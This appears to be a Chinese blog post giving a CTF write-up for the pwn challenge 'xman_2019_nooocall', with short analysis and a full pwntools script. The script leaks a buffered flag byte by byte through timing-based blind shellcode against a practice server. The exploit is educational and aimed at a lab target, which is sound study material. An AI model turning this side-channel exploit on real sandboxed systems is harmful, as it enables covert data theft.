xman_2019_nooocall(pwn里基于时间的盲注)

161 篇文章 9 订阅
161 篇文章 9 订阅

xman_2019_nooocall

首先,检查一下程序的保护机制

沙箱机制禁用了所有的系统调用

然后,我们用IDA分析一下,我们可以输入并执行16字节shellcode。然后问题在于系统调用全部被禁用。

程序一开始的时候使用了fopen打开了flag,并且将flag读取到了内存里。然后,当执行shellcode的时候,我们发现,栈里有FILE结构体的地址。

FILE是带有缓冲区的,文件flag的内容会被缓冲在内存里。

因此,我们可以写一个盲注的shellcode,将字符一个一个的猜测比较。

#coding:utf8
from pwn import *
import time

context(os='linux',arch='amd64',log_level = 'critical')

#flag里面可能出现的字符
possible_char = []
#字符的顺序可以影响效率,让频率最高的字符放前面
for x in range(0,10):
   possible_char.append(str(x))
for x in range(ord('a'),ord('z')+1):
   possible_char.append(chr(x))
possible_char.append('{')
possible_char.append('-')
possible_char.append('}')
possible_char.append('\x00')

OK = False
flag = ''
index = 0

while not OK:
   print 'guess (',index,') char'
   length = len(flag)
   for guess_char in possible_char:
      #sh = process('./xman_2019_nooocall')
      sh = remote('node3.buuoj.cn',28942)
      #盲注,如果猜对了,程序会处于一个死循环
      shellcode_blind = asm('''mov rax,[rsp+0x10]
                               mov rax,[rax+0x18]
                               mov al,byte ptr[rax+%d]
                               cmp al,%d
                               jz $-0x2
                            ''' % (index,ord(guess_char)))
      sh.sendlineafter('Your Shellcode >>',shellcode_blind)
      start = time.time()
      sh.can_recv_raw(timeout = 3)
      end = time.time()
      sh.close()
      #根据网络延迟,作相应的修改
      if end - start > 3:
         if guess_char == '\x00':
            OK = True
         flag += guess_char
         print 'success guess char at(',index,')'
         index+=1
         break
   print 'flag=',flag
   if length == len(flag):
      OK = True
      print 'ojbk!'

 

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值